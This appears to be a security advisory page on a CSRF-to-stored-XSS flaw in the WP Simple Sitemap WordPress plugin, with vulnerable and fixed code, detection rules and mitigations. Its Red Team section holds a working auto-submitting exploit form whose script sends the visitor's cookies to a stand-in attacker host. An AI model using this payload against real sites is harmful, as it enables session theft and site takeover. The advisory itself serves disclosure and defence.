CVE-2025-22342
Executive Summary
CVE-2025-22342 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP Simple Sitemap WordPress plugin (versions <= 0.2) developed by Jenst. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. Due to the lack of CSRF protection, this vulnerability can be chained with Stored Cross-Site Scripting (XSS), enabling persistent payload injection into the sitemap output. The plugin is unmaintained, and no patch is available. This report provides technical analysis, detection rules, and mitigation strategies for this WordPress ecosystem issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is no longer maintained. Users who have installed this plugin from the directory or via direct upload are at risk. No package manager (e.g., Composer) is involved, but the plugin’s code is publicly accessible. Supply chain risk is elevated due to the lack of updates and vendor abandonment.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must be tricked)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High. The CSRF-to-Stored-XSS chain allows persistent defacement, data theft, and further compromise of the WordPress site.
Deep Dive & Mechanics
The vulnerability resides in the wp-simple-sitemap plugin’s admin settings page. The plugin registers a menu page under Settings > Simple Sitemap and processes POST requests without a CSRF nonce. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a form to the WordPress admin area, modifying the plugin’s options (e.g., sitemap title, excluded pages). Because the plugin outputs these settings without sanitization, the attacker can inject JavaScript that executes on every page displaying the sitemap.
Root Cause: Missing wp_nonce_field() and check_admin_referer() calls in the plugin’s admin handler.
Attack Flow:
- Attacker identifies a site using WP Simple Sitemap <= 0.2.
- Attacker crafts a CSRF exploit page (e.g., an HTML form with auto-submit JavaScript).
- Attacker lures an authenticated admin to visit the page (e.g., via phishing email).
- The admin’s browser sends a forged POST request to
/wp-admin/options-general.php?page=wp-simple-sitemapwith malicious payload. - The plugin saves the payload (e.g.,
<script>alert('XSS')</script>) into thewss_sitemap_titleoption. - When any user visits the sitemap page, the injected script executes, leading to Stored XSS.
Vulnerable vs. Patched Code
Vulnerable Code (wp-simple-sitemap.php, lines ~45-60):
function wss_admin_page() {
if ( isset($_POST['wss_sitemap_title']) ) {
update_option('wss_sitemap_title', $_POST['wss_sitemap_title']);
}
// No nonce check
?>
<form method="post">
<input type="text" name="wss_sitemap_title" value="<?php echo get_option('wss_sitemap_title'); ?>" />
<input type="submit" value="Save" />
</form>
<?php
}
Patched Code (hypothetical fix):
function wss_admin_page() {
if ( isset($_POST['wss_sitemap_title']) ) {
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'wss_save_settings') ) {
wp_die('CSRF validation failed.');
}
$sanitized_title = sanitize_text_field($_POST['wss_sitemap_title']);
update_option('wss_sitemap_title', $sanitized_title);
}
?>
<form method="post">
<?php wp_nonce_field('wss_save_settings'); ?>
<input type="text" name="wss_sitemap_title" value="<?php echo esc_attr(get_option('wss_sitemap_title')); ?>" />
<input type="submit" value="Save" />
</form>
<?php
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with WP Simple Sitemap <= 0.2 installed and activated.
- An authenticated admin session (tricked via social engineering).
Exploit HTML (CSRF + Stored XSS):
<html>
<body>
<form id="csrf" action="http://target/wp-admin/options-general.php?page=wp-simple-sitemap" method="POST">
<input type="hidden" name="wss_sitemap_title" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Lab Setup:
- Install WordPress locally (e.g., using Docker).
- Download and install WP Simple Sitemap v0.2 from the WordPress plugin archive.
- Log in as admin.
- Host the exploit HTML on a local server (e.g.,
python3 -m http.server 8080). - As the admin, visit
http://localhost:8080/exploit.html. - Observe that the sitemap title is updated with the XSS payload.
- Visit the sitemap page (e.g.,
/sitemap) to trigger the stored script.
Blue Team
Detection Steps:
- Monitor for unexpected changes to the
wss_sitemap_titleoption in the WordPress database. - Review admin access logs for POST requests to
options-general.php?page=wp-simple-sitemapfrom unusual referrers. - Scan for injected JavaScript in the sitemap output.
Hunting Query (WordPress Database):
SELECT option_value FROM wp_options WHERE option_name = 'wss_sitemap_title';
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/wp-simple-sitemap/wp-simple-sitemap.php(version <= 0.2) - Database Option:
wss_sitemap_titlecontaining<script>tags or obfuscated JavaScript. - Network: POST requests to
/wp-admin/options-general.php?page=wp-simple-sitemapwith suspiciouswss_sitemap_titlevalues. - Log Entry:
wp-admin/admin.php?page=wp-simple-sitemapaccessed with no nonce parameter.
Detection Engineering
YARA Rule
rule wp_simple_sitemap_csrf_xss {
meta:
description = "Detects WP Simple Sitemap plugin files with missing CSRF nonce"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-22342"
strings:
$func = "wss_admin_page"
$no_nonce = "update_option('wss_sitemap_title'"
$no_verify = "wp_verify_nonce" nocase
condition:
$func and $no_nonce and not $no_verify
}
Sigma Rule
title: WP Simple Sitemap CSRF to Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WP Simple Sitemap admin page without nonce
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri|contains: '/wp-admin/options-general.php'
cs-uri-query|contains: 'page=wp-simple-sitemap'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions if nonce is present
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-22342 WP Simple Sitemap CSRF Attempt";
flow:to_server,established;
http.method;
content:"POST";
http.uri;
content:"/wp-admin/options-general.php";
http.uri;
content:"page=wp-simple-sitemap";
pcre:"/wss_sitemap_title=[^&]*<script>/i";
sid:1000001;
rev:1;
reference:cve,2025-22342;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin immediately via WordPress admin or by renaming the plugin folder (
wp-content/plugins/wp-simple-sitemap). - Remove the plugin entirely if not needed.
- Scan the database for malicious
wss_sitemap_titlevalues and sanitize them.
Long-Term Mitigation:
- Replace with an alternative sitemap plugin (e.g., Yoast SEO, Google XML Sitemaps).
- Implement a Web Application Firewall (WAF) rule to block POST requests to
options-general.phpwithout a valid nonce. - Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
Patch Workaround (if plugin must be used):
Add the following code to the theme’s functions.php or a custom mu-plugin:
add_action('admin_init', function() {
if (isset($_POST['wss_sitemap_title'])) {
if (!wp_verify_nonce($_POST['_wpnonce'] ?? '', 'wss_save_settings')) {
wp_die('CSRF detected.');
}
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.